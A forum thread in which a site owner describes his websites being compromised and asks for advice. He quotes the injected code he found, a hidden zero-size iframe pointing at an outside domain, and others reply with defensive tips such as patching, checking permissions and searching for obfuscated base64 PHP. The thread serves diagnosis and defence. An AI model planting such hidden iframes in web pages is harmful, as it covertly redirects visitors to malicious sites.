Sites hacked

[xoggoth]

Today my small business website was directing me and others to another site after a short delay. I found this in the page:

<iframe src="http://click2.filtreroomx9.in/" frameborder="0" scrolling="no" height="0" width="0" hspace="0" vspace="0" marginwidth="0" marginheight="0"></iframe></body>

Also there were a number of unfamilar incomprehensible php files in most of the folders all dated early this morning that I deleted (kept a copy just in case!) .

However, the really wierd thing is that both my wife's website and my blog, on different host, were doing the same thing which would suggest some malware has hacked my passwords etc, the major problem with that idea is that that I haven't accessed CPanel or used FTP on my wife's site in over 2 years!!!

Doing a virus scan, nothing showed up yet. Rapport does not report anything odd. My site also has Sitelock which is supposed to protect it!!!

Any bright CUK deas how to stop this happening again? Cheers.

[d000hg]

Make sure you always keep Wordpress et al updated is a big one. Hiring someone to run your sysadmin so you don't have to learn how is another option

[xoggoth]

Ta d00000gh but dont use Wordpress or any other addins.

[fullyautomatix]

Was your site permissions set correctly ? What CHMOD had you set up ? It is likely that a "bot" uploaded script files in there rather than a human being exploiting some known vulnerability.

[xoggoth]

Cheers. I have set all folder file permission as recommended by hosters.

Found a Java malware on my machine and it seems likely that the unsecured passwords in Filezilla have been knicked which explains how come they could hack my wife's site even though I haven't done anything with it for ages. Changed all the passwords and will probably just use Explorer to FTP in future. Fortunately all spotted before any Google visits.

Not found anything that explains those encrypted PHP files.

[cykophysh39]

Thanks for keeping us posted! This has increased my paranoia levels!!

[d000hg]

Ta d00000gh but dont use Wordpress or any other addins.

By 'et al' I also mean stuff like Apache, and ANYTHING installed on your server which allows incoming connections.

[DimPrawn]

Everytime I've found a machine compromised the source of the infection seems to be bloody Java!

Seems most common exploits these days are holes in the Java runtime.

If you need need Java, don't have it on your systems!

[NickFitz]

Not found anything that explains those encrypted PHP files.

It's not uncommon for PHP malware to encode its files in various ways. The most common is simple base64 encoding, as that's easy to reverse; it just serves to obfuscate things. Search through your other files for any calls to base64_decode() that oughtn't to be there, and if you find any, work out what they're trying to decode and make sure it isn't there

[Sysman]

Everytime I've found a machine compromised the source of the infection seems to be bloody Java!

Seems most common exploits these days are holes in the Java runtime.

If you don't need Java, don't have it on your systems!

Wot DP said.